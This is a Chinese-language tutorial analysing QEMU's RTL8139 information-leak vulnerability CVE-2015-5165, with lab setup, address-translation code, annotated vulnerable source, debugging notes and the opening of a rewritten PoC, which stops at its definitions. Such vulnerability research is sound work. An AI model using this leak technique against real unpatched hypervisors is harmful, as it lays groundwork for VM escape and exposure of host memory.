QEMU 信息泄露漏洞 CVE-2015-5165 分析及利用

参考 Phrack 文章 VM escape - QEMU Case Study [1] 对 QEMU 信息泄露漏洞 CVE-2015-5165 和堆溢出漏洞 CVE-2015-7504 进行调试分析并编写 Exploit 代码,本文主要分析其中的 RTL8139 网卡信息泄露漏洞 CVE-2015-5165。

0x01. 环境搭建

1.1 宿主机创建

在 VMware Workstation 中创建 Ubuntu 20.04 虚拟机,并为虚拟机的 CPU 开启虚拟化引擎相关选项,使之支持嵌套虚拟化,以便对 QEMU 进行调试分析。

安装好 Ubuntu 之后,可以先将源设置为国内的开源镜像网站,之后执行如下命令更新系统组件:

$ sudo apt-get update
$ sudo apt-get upgrade

编译 QEMU 需要 Python 2,因为 Ubuntu 20.04 中只有 Python 3,所以需要自行安装 Python 2:

$ sudo apt-get install python2
$ sudo ln -s /usr/bin/python2 /usr/bin/python

编译 QEMU 所依赖的其他库:

$ sudo apt-get install zlib1g-dev libglib2.0-dev libpixman-1-dev

1.2 QEMU 编译

$ git clone git://git.qemu-project.org/qemu.git
$ cd qemu
$ git checkout bd80b59
$ mkdir -p bin/debug/native
$ cd bin/debug/native
$ ../../../configure --target-list=x86_64-softmmu \
--enable-debug --disable-werror
$ make

如果出现以下错误,给文件 commands-posix.c 增加头文件 <sys/sysmacros.h> 即可解决 [2]。

/usr/bin/ld: qga/commands-posix.o: in function `dev_major_minor':
/repo/qemu/qga/commands-posix.c:640: undefined reference to `major'
/usr/bin/ld: /repo/qemu/qga/commands-posix.c:641: undefined reference to `minor'

1.3 虚拟机创建

QEMU 编译完成之后,需要创建一个用于调试漏洞的虚拟机。为了调试方便,这里安装 Ubuntu 20.04 Server 版本(比较新的 Ubuntu Server 没有 32 位的版本,但这里建议安装一个 32 位的系统,因为后面的 PoC 和 Exploit 都是针对 32 位环境编写的),相关命令如下所示 [3]:

$ ./qemu-img create -f qcow2 ~/Desktop/vm/ubuntu.img 10G
$ x86_64-softmmu/qemu-system-x86_64 -enable-kvm -boot d -cdrom \
/mnt/hgfs/share/ubuntu-20.04-live-server-amd64.iso \
-hda ~/Desktop/vm/ubuntu.img -m 1024

这里还需要安装一个 VNC Viewer [4],以便远程访问虚拟机,下载 deb 安装包后使用如下命令进行安装:

$ sudo dpkg -i VNC-Viewer-6.20.529-Linux-x64.deb

之后就可以通过 VNC Viewer 来访问虚拟机了。

0x02. 内存映射

和 Host 操作系统一样,Guest 操作系统中的每个进程都有自己的虚拟地址空间,这里称之为 Guest Virtual Address,即 GVA;通过进程自身的页表(Page Table),Guest 操作系统可以将 GVA 转换为对应的 GPA(Guest Physical Address)。

Guest 操作系统的 GPA,实际上是对应的 QEMU 进程中映射的虚拟内存,即 HVA(Host Virtual Address);Host 操作系统同样通过对应进程的页表,最终将其转换为对应的 HPA(Host Physical Address)。

待 Ubuntu Server 虚拟机安装完毕后,可以通过如下命令启动该虚拟机:

$ x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -drive \
file=~/Desktop/vm/ubuntu.img,format=qcow2,if=ide,cache=writeback

这里给虚拟机分配了 2GB 的内存,可以在对应的 QEMU 进程中找到对应的虚拟内存:

$ ps -e|grep qemu
4407 pts/1 00:01:14 qemu-system-x86

$ cat /proc/4407/maps
......
7fe880021000-7fe884000000 ---p 00000000 00:00 0
7fe884000000-7fe904000000 rw-p 00000000 00:00 0 [2GB RAM]
7fe904000000-7fe90465d000 rw-p 00000000 00:00 0
......
7ffc9f4a1000-7ffc9f4c2000 rw-p 00000000 00:00 0 [stack]
7ffc9f4fd000-7ffc9f500000 r--p 00000000 00:00 0 [vvar]
7ffc9f500000-7ffc9f501000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]

关于 Guest Virtual Address 到 Host Virtual Address 的转换,Phrack 的文章没怎么解释,在网上找到另一篇文章 [5] 解释的比较清楚(以 64 位系统为例):

  1. 每个页面的大小为 4096 字节,即 1 << 12

  2. 基于 /proc/pid/pagemap 可以查看进程任意 Virtual Page 的状态,包括是否被映射到物理内存以及在物理内存中的 Page Frame Number(PFN)等;

    • pagemap 文件为每个 Virtual Page 存储 64 位(即 8 字节)的信息,数据格式如下:
Bits 0-54  page frame number (PFN) if present
Bits 0-4 swap type if swapped
Bits 5-54 swap offset if swapped
Bit 55 pte is soft-dirty
Bit 56 page exclusively mapped (since 4.2)
Bits 57-60 zero
Bit 61 page is file-page or shared-anon (since 3.5)
Bit 62 page swapped
Bit 63 page present
  1. 对任意的虚拟地址 address ,基于 address / 4096 可以计算出该虚拟地址在 pagemap 文件中的索引值, address / 4096 * 8 即对应的文件偏移值;

  2. 对任意的虚拟地址 addressaddress % 4096 即虚拟地址在对应的内存页中的偏移值;

  3. 基于物理内存的 PFN 以及页内偏移,就可以计算出对应的物理地址;

获取虚拟地址对应的物理地址的代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <inttypes.h>

#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

uint64_t get_physical_pfn(char* ptr)
{
uint64_t pfn = -1;
FILE* fp = fopen("/proc/self/pagemap", "rb");
if (!fp)
{
return pfn;
}

if (!fseek(fp, (unsigned long)ptr / PAGE_SIZE * 8, SEEK_SET))
{
fread(&pfn, sizeof(pfn), 1, fp);
if (pfn & PFN_PRESENT)
{
pfn &= PFN_PFN;
}
}
fclose(fp);
return pfn;
}

uint64_t get_physical_addr(char* ptr)
{
uint64_t pfn = get_physical_pfn(ptr);
return pfn * PAGE_SIZE + (uint64_t)ptr % PAGE_SIZE;
}

int main(int argc, char** argv)
{
char* ptr = (char*)malloc(256);
strcpy(ptr, "Where am I?");
printf("%s\n", ptr);
printf("Physical address: 0x%" PRIx64 "\n", get_physical_addr(ptr));
printf("Press any key to exit...\n");
getchar();
free(ptr);

return 0;
}

根据文档 [6] 可知,只有拥有 CAP_SYS_ADMIN 权限的进程才可以读取到 PFN,否则虽然可以打开 pagemap 文件,但是读取到的 PFN 将会是 0

Since Linux 4.0 only users with the CAP_SYS_ADMIN capability can get PFNs.
In 4.0 and 4.1 opens by unprivileged fail with -EPERM. Starting from
4.2 the PFN field is zeroed if the user does not have CAP_SYS_ADMIN.
Reason: information about PFNs helps in exploiting Rowhammer vulnerability.

编译好程序之后将其上传到 QEMU 虚拟机中以 root 身份执行,打印出物理地址为 0x617192a0

$ sudo ./a.out
Where am I?
Physical address: 0x617192a0
Press any key to exit...

在宿主机中使用 GDB 附加到 QEMU 进程,可以看到虚拟机中的物理地址实际上就是 QEMU 进程为虚拟机分配的内存所在的 Host Virtual Address 的偏移地址:

$ sudo gdb qemu-system-x86 4407
(gdb) x /s 0x7fe884000000 + 0x617192a0
0x7fe8e57192a0: "Where am I?"

0x03. 漏洞分析

3.1 漏洞简介

CVE-2015-5165 是 QEMU 在模拟 Realtek RTL8139 网卡时存在的一个漏洞,具体为文件 hw\net\rtl8139.c 中的函数 rtl8139_cplus_transmit_one 在发送数据时没有检查 IP 数据包头部的长度 hlen 与整个 IP 数据包的长度 ip->ip_len 之间的关系,导致在计算数据长度的时候存在整数溢出:

/*uint16_t*/ ip_data_len = be16_to_cpu(ip->ip_len) - hlen;

利用该漏洞可以把越界读取到的数据通过网络发送出去。

3.2 基础知识

3.2.1 Ethernet Frame Format

OSI(Open Systems Interconnection)将网络协议分为七层,从上往下依次为:

  • 应用层
  • 表示层
  • 会话层
  • 传输层
  • 网络层
  • 数据链路层
  • 物理层

以太网帧(Ethernet Frame)在数据链路层传输,格式参考下图中的灰色部分 [7]:

Ethernet Frame Format

相关字段解释:

  • DST / SRC 为目标 / 源的 MAC 地址
  • Length / Type:

    • 如果值小于等于 1500 ,则表示 Payload 的长度
    • 否则表示 Payload 数据所使用的协议,比如 0x0800 表示 IP 协议(这里指 IPv4)
  • Payload 的 MTU(Maximum Transmission Unit)为 1500 字节,当数据超出 MTU 时需要进行分片处理

3.2.2 IP Packet Format

IP 数据包(这里指 IPv4)在网络层传输,格式参考下图 [7]:

IP Packet Format

相关字段解释:

  • IHL(Internet Header Length)表示 IP Header 的长度,最大可以是 0b1111 * 4 = 60 字节
  • Total Length 表示整个 IP Packet 的长度,最大可以是 65535 字节
  • IP Data 的最大长度为 65535 - 20 = 65515 字节
    • 此时 IP Header 的长度为 20 字节,Options 字段的长度为 0 字节

3.2.3 TCP Segment Format

TCP 报文在传输层传输,格式参考下图 [7]:

TCP Segment Format

和 IP 数据包一样,TCP 报文头部的长度由 Header Length 字段指明,最大可以是 0b1111 * 4 = 60 字节,在 Options 字段为空的情况下头部长度为 20 字节。

3.3 漏洞分析

漏洞位于文件 hw\net\rtl8139.c 中的函数 rtl8139_cplus_transmit_one ,相关代码如下:

#define ETHER_ADDR_LEN 6
#define ETHER_TYPE_LEN 2
#define ETH_HLEN (ETHER_ADDR_LEN * 2 + ETHER_TYPE_LEN)
#define ETH_P_IP 0x0800 /* Internet Protocol packet */
#define ETH_P_8021Q 0x8100 /* 802.1Q VLAN Extended Header */
#define ETH_MTU 1500

/* ip packet header */
ip_header *ip = NULL;
int hlen = 0;
uint8_t ip_protocol = 0;
uint16_t ip_data_len = 0;

uint8_t *eth_payload_data = NULL;
size_t eth_payload_len = 0;

// saved_buffer 指向 Ethernet Frame, 这里读取 Length/Type 字段
int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));
if (proto == ETH_P_IP) // Payload 为 IP Packet
{
DPRINTF("+++ C+ mode has IP packet\n");

/* not aligned */
eth_payload_data = saved_buffer + ETH_HLEN; // Payload 数据
eth_payload_len = saved_size - ETH_HLEN; // Payload 大小

ip = (ip_header*)eth_payload_data; // IP Packet
// 检查是否为 IPv4
if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) {
DPRINTF("+++ C+ mode packet has bad IP version %d "
"expected %d\n", IP_HEADER_VERSION(ip),
IP_HEADER_VERSION_4);
ip = NULL;
} else {
hlen = IP_HEADER_LENGTH(ip); // IP 头长度
ip_protocol = ip->ip_p;
// 计算 IP 数据包中数据的长度, 这里 ip_data_len 的类型为 uint16_t
// 当 be16_to_cpu(ip->ip_len) < hlen 触发整数溢出
// ip_data_len 最大可以是 0xFFFF
ip_data_len = be16_to_cpu(ip->ip_len) - hlen;
}
}

这里尝试从 Ethernet Frame 中解析 IPv4 数据包,在计算 IP 数据包中的数据长度时,在进行减法运算前并没有比较两个操作数的大小关系,通过触发整数溢出使得 ip_data_len 的最大值可以是 0xFFFF

紧接着是发送数据包,如果是 TCP 数据( IP_PROTO_TCP )且数据量过大(设置了 CP_TX_LGSEN 标记),则会进行分片处理,即切分成多个 IP 数据包进行发送;此时 ip_data_len 将被用于计算 tcp_data_len 的值:

/* pointer to TCP header */
tcp_header *p_tcp_hdr = (tcp_header*)(eth_payload_data + hlen);

int tcp_hlen = TCP_HEADER_DATA_OFFSET(p_tcp_hdr);

/* ETH_MTU = ip header len + tcp header len + payload */
int tcp_data_len = ip_data_len - tcp_hlen;
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;

随后对 tcp_data_len 长度的数据按照 tcp_chunk_size 的大小进行分片发送:

int is_last_frame = 0;

for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len;
tcp_send_offset += tcp_chunk_size)
{
uint16_t chunk_size = tcp_chunk_size;

/* check if this is the last frame */
if (tcp_send_offset + tcp_chunk_size >= tcp_data_len)
{
is_last_frame = 1;
chunk_size = tcp_data_len - tcp_send_offset;
}

/* add 4 TCP pseudoheader fields */
/* copy IP source and destination fields */
memcpy(data_to_checksum, saved_ip_header + 12, 8);

if (tcp_send_offset)
{
memcpy((uint8_t*)p_tcp_hdr + tcp_hlen,
(uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size);
}

/* keep PUSH and FIN flags only for the last frame */
if (!is_last_frame)
{
TCP_HEADER_CLEAR_FLAGS(p_tcp_hdr, TCP_FLAG_PUSH|TCP_FLAG_FIN);
}

/* recalculate TCP checksum */
ip_pseudo_header *p_tcpip_hdr = (ip_pseudo_header *)data_to_checksum;
p_tcpip_hdr->zeros = 0;
p_tcpip_hdr->ip_proto = IP_PROTO_TCP;
p_tcpip_hdr->ip_payload = cpu_to_be16(tcp_hlen + chunk_size);

p_tcp_hdr->th_sum = 0;

int tcp_checksum = ip_checksum(data_to_checksum, tcp_hlen + chunk_size + 12);
p_tcp_hdr->th_sum = tcp_checksum;

/* restore IP header */
memcpy(eth_payload_data, saved_ip_header, hlen);

/* set IP data length and recalculate IP checksum */
ip->ip_len = cpu_to_be16(hlen + tcp_hlen + chunk_size);

/* increment IP id for subsequent frames */
ip->ip_id = cpu_to_be16(tcp_send_offset/tcp_chunk_size + be16_to_cpu(ip->ip_id));

ip->ip_sum = 0;
ip->ip_sum = ip_checksum(eth_payload_data, hlen);

int tso_send_size = ETH_HLEN + hlen + tcp_hlen + chunk_size;
rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
0, (uint8_t *) dot1q_buffer);

/* add transferred count to TCP sequence number */
p_tcp_hdr->th_seq = cpu_to_be32(chunk_size + be32_to_cpu(p_tcp_hdr->th_seq));
++send_count;
}

这里封装好的 Ethernet Frame 通过函数 rtl8139_transfer_frame 发送,函数部分代码如下:

static void rtl8139_transfer_frame(RTL8139State *s, uint8_t *buf, int size,
int do_interrupt, const uint8_t *dot1q_buf)
{
// ------------------------------- cut -------------------------------
if (TxLoopBack == (s->TxConfig & TxLoopBack))
{
size_t buf2_size;
uint8_t *buf2;

if (iov) {
buf2_size = iov_size(iov, 3);
buf2 = g_malloc(buf2_size);
iov_to_buf(iov, 3, 0, buf2, buf2_size);
buf = buf2;
}

DPRINTF("+++ transmit loopback mode\n");
rtl8139_do_receive(qemu_get_queue(s->nic), buf, size, do_interrupt);

if (iov) {
g_free(buf2);
}
}
// ------------------------------- cut -------------------------------
}

可以看出,当设置了 TxLoopBack 标记时,会直接调用 rtl8139_do_receive 接收数据,数据会写入到接收缓冲区中。

0x04 漏洞利用

4.1 RTL8139 网卡简介

QEMU 模拟的 RTL8139 网卡在发送和接收数据时,内部代码分支的走向很大程度上依赖于网卡的状态,对应的结构体为 RTL8139State (位于文件 hw\net\rtl8139.c 中):

typedef struct RTL8139State {
/*< private >*/
PCIDevice parent_obj;
/*< public >*/

uint8_t phys[8]; /* mac address */
uint8_t mult[8]; /* multicast mask array */
/* TxStatus0 in C mode*/ /* also DTCCR[0] and DTCCR[1] in C+ mode */
uint32_t TxStatus[4];
uint32_t TxAddr[4]; /* TxAddr0 */
uint32_t RxBuf; /* Receive buffer */
/* internal variable, receive ring buffer size in C mode */
uint32_t RxBufferSize;
uint32_t RxBufPtr;
uint32_t RxBufAddr;

uint16_t IntrStatus;
uint16_t IntrMask;

uint32_t TxConfig;
uint32_t RxConfig;
uint32_t RxMissed;

uint16_t CSCR;

uint8_t Cfg9346;
uint8_t Config0;
uint8_t Config1;
uint8_t Config3;
uint8_t Config4;
uint8_t Config5;

uint8_t clock_enabled;
uint8_t bChipCmdState;

uint16_t MultiIntr;

uint16_t BasicModeCtrl;
uint16_t BasicModeStatus;
uint16_t NWayAdvert;
uint16_t NWayLPAR;
uint16_t NWayExpansion;

uint16_t CpCmd;
uint8_t TxThresh;

NICState *nic;
NICConf conf;

/* C ring mode */
uint32_t currTxDesc;

/* C+ mode */
uint32_t cplus_enabled;

uint32_t currCPlusRxDesc;
uint32_t currCPlusTxDesc;

uint32_t RxRingAddrLO;
uint32_t RxRingAddrHI;

EEprom9346 eeprom;

uint32_t TCTR;
uint32_t TimerInt;
int64_t TCTR_base;

/* Tally counters */
RTL8139TallyCounters tally_counters;

/* Non-persistent data */
uint8_t *cplus_txbuffer;
int cplus_txbuffer_len;
int cplus_txbuffer_offset;

/* PCI interrupt timer */
QEMUTimer *timer;

MemoryRegion bar_io;
MemoryRegion bar_mem;

/* Support migration to/from old versions */
int rtl8139_mmio_io_addr_dummy;
} RTL8139State;

RTL8139State 结构体中的许多字段实际上就是 RTL8139 网卡内部的寄存器,关于这些寄存器的描述,可以参考厂商 Realtek 提供的 Datasheet 手册 [8],下图为 Phrack 文章 [1] 提供的介绍(这里为 RTL8139 网卡在 C+ 模式下的寄存器介绍):

        +---------------------------+----------------------------+
0x00 | MAC0 | MAR0 |
+---------------------------+----------------------------+
0x10 | TxStatus0 |
+--------------------------------------------------------+
0x20 | TxAddr0 |
+-------------------+-------+----------------------------+
0x30 | RxBuf |ChipCmd| |
+-------------+------+------+----------------------------+
0x40 | TxConfig | RxConfig | ... |
+-------------+-------------+----------------------------+
| |
| skipping irrelevant registers |
| |
+---------------------------+--+------+------------------+
0xd0 | ... | |TxPoll| ... |
+-------+------+------------+--+------+--+---------------+
0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... |
+-------+------+------------+------------+---------------+
  • TxConfig:发送数据相关的配置参数
  • RxConfig:接收数据相关的配置参数
  • CpCmd:C+ 模式相关配置参数,比如:
    • CplusRxEnd 表示启用接收
    • CplusTxEnd 表示启用发送
  • TxAddr0:Tx descriptors table 相关的物理内存地址
    • 0x20 ~ 0x27:Transmit Normal Priority Descriptors Start Address
    • 0x28 ~ 0x2F:Transmit High Priority Descriptors Start Address
  • RxRingAddrLO:Rx descriptors table 物理内存地址低 32 位
  • RxRingAddrHI:Rx descriptors table 物理内存地址高 32 位
  • TxPoll:让网卡检查 Tx descriptors

关于 Descriptor 的定义,同样可以参考厂商 Realtek 提供的 Datasheet 手册 [8],下图为 Transmit Descriptor 的定义:

RTL8139 网卡 Transmit Descriptor

Phrack 文章 [1] 给出的结构体的定义如下:

struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};

4.2 Port Mapped I/O

CPU 可以通过以下两种方式和外设进行交互(这里不讨论 IRQ、DMA 等其他交互方式):

  • Memory Mapped I/O 即 MMIO
  • Port Mapped I/O 即 PMIO

MMIO 将外设的内存和寄存器直接映射到系统的地址空间中(这部分空间通常是保留给外设专用的),这样 CPU 通过普通的汇编指令即可和外设进行交互;而 PMIO 则将外设的内存和寄存器映射到隔离的地址空间中(PMIO 地址空间的大小为 64KB),CPU 通过 inout 指令和外设进行交互。

在 Windows 下,可以通过设备管理器查看设备的 PMIO 地址范围,下图为 VMware SVGA 3D 的 PMIO 地址区间之一:

VMware SVGA 3D PMIO

在 Linux 下可以使用 pciutils 中的 lspci 查看设备的 PMIO 地址区间 [9],这里测试用的 Ubuntu Server 已经自带了 pciutils,只需要在启动时添加 RTL8139 网卡即可,启动命令如下:

$ x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -drive \
file=~/Desktop/vm/ubuntu.img,format=qcow2,if=ide,cache=writeback \
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \
-net user,hostfwd=tcp::2222-:22 -net nic

这里最后一行的作用是把 Ubuntu Server 虚拟机的 22 端口转发到主机的 2222 端口,方便主机通过 SSH 访问虚拟机(VNC Viewer 无法复制粘贴),在主机中执行以下命令即可连接虚拟机:

$ ssh vmusername@127.0.0.1 -p 2222

通过 lspci 命令可以看到 RTL8139 网卡的 PMIO 的起始地址为 0xC000 ,大小为 256 字节:

$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)
00:04.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8100/8101L/8139 PCI Fast Ethernet Adapter (rev 20)

$ lspci -s 00:04.0 -v
00:04.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8100/8101L/8139 PCI Fast Ethernet Adapter (rev 20)
Subsystem: Red Hat, Inc. QEMU Virtual Machine
Physical Slot: 4
Flags: bus master, fast devsel, latency 0, IRQ 10
I/O ports at c000 [size=256]
Memory at febf1000 (32-bit, non-prefetchable) [size=256]
Expansion ROM at feb80000 [disabled] [size=256K]
Kernel driver in use: 8139cp
Kernel modules: 8139cp, 8139too

4.3 PMIO 读写

通过结构体 RTL8139State 的成员 bar_io 的交叉引用可以定位到函数 pci_rtl8139_realize ,这里对 PMIO 和 MMIO 进行了初始化操作:

static void pci_rtl8139_realize(PCIDevice *dev, Error **errp)
{
RTL8139State *s = RTL8139(dev);
DeviceState *d = DEVICE(dev);
uint8_t *pci_conf;

pci_conf = dev->config;
pci_conf[PCI_INTERRUPT_PIN] = 1; /* interrupt pin A */
/* TODO: start of capability list, but no capability
* list bit in status register, and offset 0xdc seems unused. */
pci_conf[PCI_CAPABILITY_LIST] = 0xdc;

memory_region_init_io(&s->bar_io, OBJECT(s), &rtl8139_io_ops, s,
"rtl8139", 0x100);
memory_region_init_io(&s->bar_mem, OBJECT(s), &rtl8139_mmio_ops, s,
"rtl8139", 0x100);
pci_register_bar(dev, 0, PCI_BASE_ADDRESS_SPACE_IO, &s->bar_io);
pci_register_bar(dev, 1, PCI_BASE_ADDRESS_SPACE_MEMORY, &s->bar_mem);
// ......
}

PMIO 的读写函数可以从变量 rtl8139_io_ops 中找到:

static const MemoryRegionOps rtl8139_io_ops = {
.read = rtl8139_ioport_read,
.write = rtl8139_ioport_write,
.impl = {
.min_access_size = 1,
.max_access_size = 4,
},
.endianness = DEVICE_LITTLE_ENDIAN,
};

PMIO 写函数 rtl8139_ioport_write 的定义如下:

static void rtl8139_ioport_write(void *opaque, hwaddr addr,
uint64_t val, unsigned size)
{
switch (size) {
case 1:
rtl8139_io_writeb(opaque, addr, val);
break;
case 2:
rtl8139_io_writew(opaque, addr, val);
break;
case 4:
rtl8139_io_writel(opaque, addr, val);
break;
}
}

写的长度可以是字节、字、双字,这里以字节为单位的 PMIO 写函数为 rtl8139_io_writeb ,定义如下:

static void rtl8139_io_writeb(void *opaque, uint8_t addr, uint32_t val)
{
RTL8139State *s = opaque;

switch (addr)
{
case MAC0 ... MAC0+4:
s->phys[addr - MAC0] = val;
break;
// ......
case TxPoll:
DPRINTF("C+ TxPoll write(b) val=0x%02x\n", val);
if (val & (1 << 7))
{
DPRINTF("C+ TxPoll high priority transmission (not "
"implemented)\n");
//rtl8139_cplus_transmit(s);
}
if (val & (1 << 6))
{
DPRINTF("C+ TxPoll normal priority transmission\n");
rtl8139_cplus_transmit(s);
}
break;
// ......
}
}

当往 TxPoll 写入数据时,可以触发 C+ TxPoll normal priority transmission ,即调用函数 rtl8139_cplus_transmit ,定义如下:

static void rtl8139_cplus_transmit(RTL8139State *s)
{
int txcount = 0;

while (rtl8139_cplus_transmit_one(s))
{
++txcount;
}

/* Mark transfer completed */
if (!txcount)
{
DPRINTF("C+ mode : transmitter queue stalled, current TxDesc = %d\n",
s->currCPlusTxDesc);
}
else
{
/* update interrupt status */
s->IntrStatus |= TxOK;
rtl8139_update_irq(s);
}
}

该函数会循环调用 rtl8139_cplus_transmit_one ,也就是存在漏洞的函数!

4.4 漏洞触发

弄清楚漏洞的原理之后,编写 PoC 就比较简单了!对 Linux 和硬件接触不多的初学者(比如笔者自己),建议尝试理解每一行代码的作用,遇到不懂的概念就 Google 一下,代码不 Work 就 Debug 一下,在这个过程中可以学到很多新的知识,这也正是分析该漏洞的出发点。

在主机中可以通过 GDB 附加到 QEMU 进程 qemu-system-x86 进行调试,触发漏洞的位置如下:

GDB 调试 QEMU 漏洞 CVE-2015-5165

调试过程中遇到的几个坑:

(I) 在构造数据包时,Ethernet Frame 的源 MAC 地址、目标 MAC 地址需要填充为 QEMU 虚拟机 RTL8139 网卡的 MAC 地址,通过 ifconfig -a 命令可以查看本机所有网卡的数据;笔者一开始使用的 ifconfig 命令,结果偏偏没有打印 RTL8139 网卡的信息,导致填充了错误的 MAC 地址,通过调试 QEMU 进程才发现 MAC 地址不一致;

(II) Phrack 文章 [1] 提供的 Exploit 代码中 rtl8139_tx_desc 是栈上的局部变量,实际测试时发现获取不到在内存中的物理地址(Guest Physical Address),改为从堆上动态申请内存即可;调试发现是笔者自己实现的获取物理内存地址的代码有问题,因为栈的地址很高,转换成有符号数是一个负数,所以在调用 fseek 的时候需要处理好符号问题,否则 fseek 会失败;

if (!fseek(fp, (unsigned long)addr / PAGE_SIZE * 8, SEEK_SET)) 
{
fread(&pfn, sizeof(pfn), 1, fp);
if (pfn & PFN_PRESENT)
{
pfn &= PFN_PFN;
}
}

(III) 在 QEMU 虚拟机测试 PoC 时,发现打印接收到的数据的时候进程 Crash 了,从打印出来的调用栈来看,应该是接收缓冲区溢出了:

$ sudo ./a.out
*** Error in `./a.out': corrupted size vs. prev_size: 0x092975e8 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb75af377]
/lib/i386-linux-gnu/libc.so.6(+0x6d2f7)[0xb75b52f7]
/lib/i386-linux-gnu/libc.so.6(+0x6f979)[0xb75b7979]
/lib/i386-linux-gnu/libc.so.6(__libc_malloc+0xc5)[0xb75b8fc5]
/lib/i386-linux-gnu/libc.so.6(_IO_file_doallocate+0x6e)[0xb75a592e]
/lib/i386-linux-gnu/libc.so.6(_IO_doallocbuf+0x47)[0xb75b31c7]
/lib/i386-linux-gnu/libc.so.6(_IO_file_overflow+0x1c1)[0xb75b2561]
/lib/i386-linux-gnu/libc.so.6(_IO_file_xsputn+0x94)[0xb75b1684]
/lib/i386-linux-gnu/libc.so.6(_IO_vfprintf+0x193)[0xb758a253]
/lib/i386-linux-gnu/libc.so.6(_IO_printf+0x26)[0xb7591696]
./a.out[0x8048b1e]
./a.out[0x8048c61]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7560637]
./a.out[0x80485b1]

调试发现 Phrack 文章 [1] 末尾给出的代码存在一个 Bug,而这个 Bug 居然没有人发现,笔者搜索了国内相关的技术文章,发现都照搬了这个 Bug 。其他人没有发现这里的问题,可能是由于分析环境的不同所造成的:

  • 笔者的 QEMU 虚拟机中安装的是 Ubuntu 官方发行的 Server 版本
  • 其他文章中的 QEMU 虚拟机中安装的是临时编译的 Linux 系统

对该 Bug 的分析如下:

  1. 函数 rtl8139_cplus_transmit_one 在发送分片后的 Ethernet Frame 时,数据包的大小是 1514 字节;
int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;
// ......
uint16_t chunk_size = tcp_chunk_size;
// ......
int tso_send_size = ETH_HLEN + hlen + tcp_hlen + chunk_size;
rtl8139_transfer_frame(s, saved_buffer, tso_send_size,
0, (uint8_t *) dot1q_buffer);
  1. 因为是发给本机的数据,所以执行流程经由 rtl8139_transfer_frame 进入 rtl8139_do_receive ,这里会检查接收缓冲区是否还有多余的 4 字节空间用于填充 Checksum ;
uint32_t rx_space = rxdw0 & CP_RX_BUFFER_SIZE_MASK;
// ......
if (size+4 > rx_space)
{
DPRINTF("C+ Rx mode : descriptor %d size %d received %d + 4\n",
descriptor, rx_space, size);
// error handling ......
}

dma_addr_t rx_addr = rtl8139_addr64(rxbufLO, rxbufHI);

/* receive/copy to target memory */
if (dot1q_buf) {
// ......
} else {
pci_dma_write(d, rx_addr, buf, size);
}

// ......
/* write checksum */
val = cpu_to_le32(crc32(0, buf, size_));
pci_dma_write(d, rx_addr+size, (uint8_t *)&val, 4);
  1. Phrack 文章 [1] 对接收缓冲区的设置位于函数 rtl8139_desc_config_rx ,可以每一个 ring / descriptor 关联的缓冲区的大小是 RTL8139_BUFFER_SIZE1514 字节,但是 dw0 标志中设置的大小却是 USHRT_MAX65535
void rtl8139_desc_config_rx(struct rtl8139_ring *ring,
struct rtl8139_desc *desc, int nb)
{
uint32_t addr;
size_t i;
for (i = 0; i < nb; i++) {
ring[i].desc = &desc[i];
memset(ring[i].desc, 0, sizeof(struct rtl8139_desc));

ring[i].buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
memset(ring[i].buffer, 0, RTL8139_BUFFER_SIZE);

addr = (uint32_t)gva_to_gpa(ring[i].buffer);

ring[i].desc->dw0 |= CP_RX_OWN;
if (i == nb - 1)
ring[i].desc->dw0 |= CP_RX_EOR;
ring[i].desc->dw0 &= ~CP_RX_BUFFER_SIZE_MASK;
ring[i].desc->dw0 |= USHRT_MAX;
ring[i].desc->buf_lo = addr;
}

addr = (uint32_t)gva_to_gpa(desc);
outl(addr, RTL8139_PORT + RxRingAddrLO);
outl(0x0, RTL8139_PORT + RxRingAddrHI);
}
  1. 这样的设置显然是不对的,这会导致可以通过函数 rtl8139_do_receive 中的缓冲区大小检查,后面在写入 Checksum 时会导致堆块越界写,这就是导致 QEMU 虚拟机中 PoC 进程 Crash 的原因;

参考 Phrack 文章的代码,笔者重写的一份用于测试 CVE-2015-5165 的完整 PoC 代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <sys/io.h>

// 页面相关参数
#define PAGE_SHIFT 12
#define PAGE_SIZE (1 << PAGE_SHIFT)
#define PFN_PRESENT (1ull << 63)
#define PFN_PFN ((1ull << 55) - 1)

// Ethernet Frame 大小
// DST(6) + SRC(6) + Length/Type(2) + PayloadMTU(1500)
#define RTL8139_BUFFER_SIZE 1514

// RTL8139 网卡 PMIO 地址
#define RTL8139_PORT 0xc000

// Rx ownership flag
#define CP_RX_OWN (1<<31)
// w0 end of ring flag
#define CP_RX_EOR (1<<30)
// Rx buffer size mask 表示 0 ~ 12 位为 buffer size
